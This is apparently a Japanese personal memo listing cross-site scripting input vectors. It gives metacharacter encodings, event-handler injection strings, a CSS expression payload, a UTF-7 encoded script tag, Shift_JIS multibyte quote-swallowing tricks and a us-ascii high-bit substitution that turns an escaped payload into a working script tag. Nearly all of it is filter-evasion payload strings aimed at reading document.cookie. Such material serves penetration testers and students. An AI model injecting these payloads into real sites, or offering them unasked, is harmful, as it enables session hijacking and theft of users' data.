[CSS] [入力値] XSS入力値フロー備忘録
XSS攻撃は入力文字列をメタ文字と解釈させる必要がある。 メタ文字入力 文字種類 「"」,「'」,「 」,「`」,「<」,「>」,「&」,「+」 URLエンコード %22 %27 %20 %60 %3C %3E %26 %2b 16進数 0x22 0x27 0x20 0x60 0x3C 0x3E 0x26 0x2B \x22 \x27 \x20 \x60 \x3C \x3E \x26 \x2B 8進数 \42 \47 \40 \140 \74 \76 \46 \53 IEで無視 0x0B(IEでスペースと同意) 0x0C(IEでスペースと同意) NULL 0x00 下記は一部の例 基本挿入型 イベントハンドラ系 " onclick="alert(document.cookie) " onmouseover="alert(document.cookie) " onload="alert(document.cookie) a href="" aaa style=left:expression(javascript:alert(document.cookie)) charset=UTF-7 %2bACIAPgA8-script%2bAD4-alert(document.cookie)%2bADsAPA-%2fscript%2bAD4APAAi- スクリプトの関数で String.fromCharCode(0x41,0x42,0x43) /ABC/.source マルチバイト系 マルチバイト文字列にて二文字目をマルチバイトの二文字目の範囲外を指定することで 挿入したマルチバイトの一文字目の後に来る文字をマルチバイトの二文字目と判断するが マルチバイトの二文字目として挿入した文字が範囲外の為、エラーとなる %82"となっている場合は「"」が打ち消される為、閉じる為の引用符がなくなるtext1=%82 text2= onmouseover%3dalert%28document%2ecookie%29%3b%20%82 %82%22;alert();x%82 %82のマルチバイトの後ろの文字が%22に指定されている この場合二文字目がマルチバイトの指定外の為、マルチバイト部分はエラーとなる。 エラーであるが何かしらの文字となり、次の%22が「"」を意味する。 「x」はcでもdでもfでも変数ぽい名前ならなんでもよい。 us-ascii us-asciiのバグは7bitまでしか認識しない仕様の為、8bit目に1を立てた文字列を挿入した場合でも 8bit目が0の文字と認識する。 例えば。「"」の%22と%AEが同じになる リクエスト文:"><" レスポンス文:"><script>alert(document.cookie);</script><""> エスケープされている文字列:"><input type=text size=60 name=text1 value="1"> <input type=text size=60 name=text2 value="2">
us-acii 最上位bit 反転
" → %22 → 00100010 ⇒ 10100010(0xA2)
> → %3e → 00111110 ⇒ 10111110(0xBE)
< → %3c → 00111100 ⇒ 10111100(0xBC)
原文
%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%3C%22
差し替え
%A2%BE%BCscript%BEalert%28document.cookie%29%3B%BC%2Fscript%BE%BC%A2
バッククォート
IEでは「`」が引用符の代わりに使える
ブラウザで無視される文字
0x00